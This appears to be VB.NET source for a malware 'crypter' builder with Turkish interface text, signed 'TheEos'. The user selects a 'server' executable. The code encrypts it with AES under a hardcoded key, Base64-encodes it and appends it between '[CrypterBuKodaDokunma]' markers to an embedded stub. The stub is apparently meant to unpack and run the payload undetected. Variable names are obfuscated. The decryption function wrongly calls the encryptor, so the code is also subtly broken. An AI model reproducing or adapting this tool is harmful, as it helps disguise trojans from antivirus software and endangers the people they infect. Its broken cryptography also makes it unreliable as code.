Notes

Public Class Form1
Dim F As String
Function Secure(ByVal data As Byte()) As Byte()
Using SA As New System.Security.Cryptography.RijndaelManaged
SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
End Using
End Function
Function UnSecure(ByVal data As Byte()) As Byte()
Using SA As New System.Security.Cryptography.RijndaelManaged
SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
End Using
End Function
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim the As New OpenFileDialog
With the
.FileName = "*.exe"
.Title = "Server Seçiniz..."
.Filter = "Uygulamalar (*.exe)|*.exe"
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
If .ShowDialog = Windows.Forms.DialogResult.OK Then
F = .SafeFileName
TextBox1.Text = .FileName
End If
End With
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Try
Dim eos As New SaveFileDialog
With eos
.FileName = "*.exe"
.Title = "Kayıt Yeri..."
.Filter = "Uygulamalar (*.exe)|*.exe"
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
If .ShowDialog = Windows.Forms.DialogResult.OK Then
Dim BBWNmıfXtbcVFwpTxddnufUoztAVosTFHkKwvPfntqjbMnKx As String = "[CrypterBuKodaDokunma]"
Dim mUıKMpGZıiSviLıBJWNYntXjxpyuytdIiChZJHtSeoOMxkFh As Byte() = My.Resources.Stub
My.Computer.FileSystem.WriteAllBytes(.FileName, mUıKMpGZıiSviLıBJWNYntXjxpyuytdIiChZJHtSeoOMxkFh, False)
Dim RıSpapLuvqMWvMbpFIMgeNtBezrxeMkOjOdMbnitrnbJyZWS As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
System.IO.File.AppendAllText(.FileName, BBWNmıfXtbcVFwpTxddnufUoztAVosTFHkKwvPfntqjbMnKx & Convert.ToBase64String(RıSpapLuvqMWvMbpFIMgeNtBezrxeMkOjOdMbnitrnbJyZWS) & BBWNmıfXtbcVFwpTxddnufUoztAVosTFHkKwvPfntqjbMnKx & F)
MsgBox("Birleştirme İşlemi Tamamlandı !", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "TheEos")
End If
End With
Catch ex As Exception
MsgBox("Hata Oluştu !" & ex.Message, MsgBoxStyle.Critical, "TheEos")
End Try
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub
End Class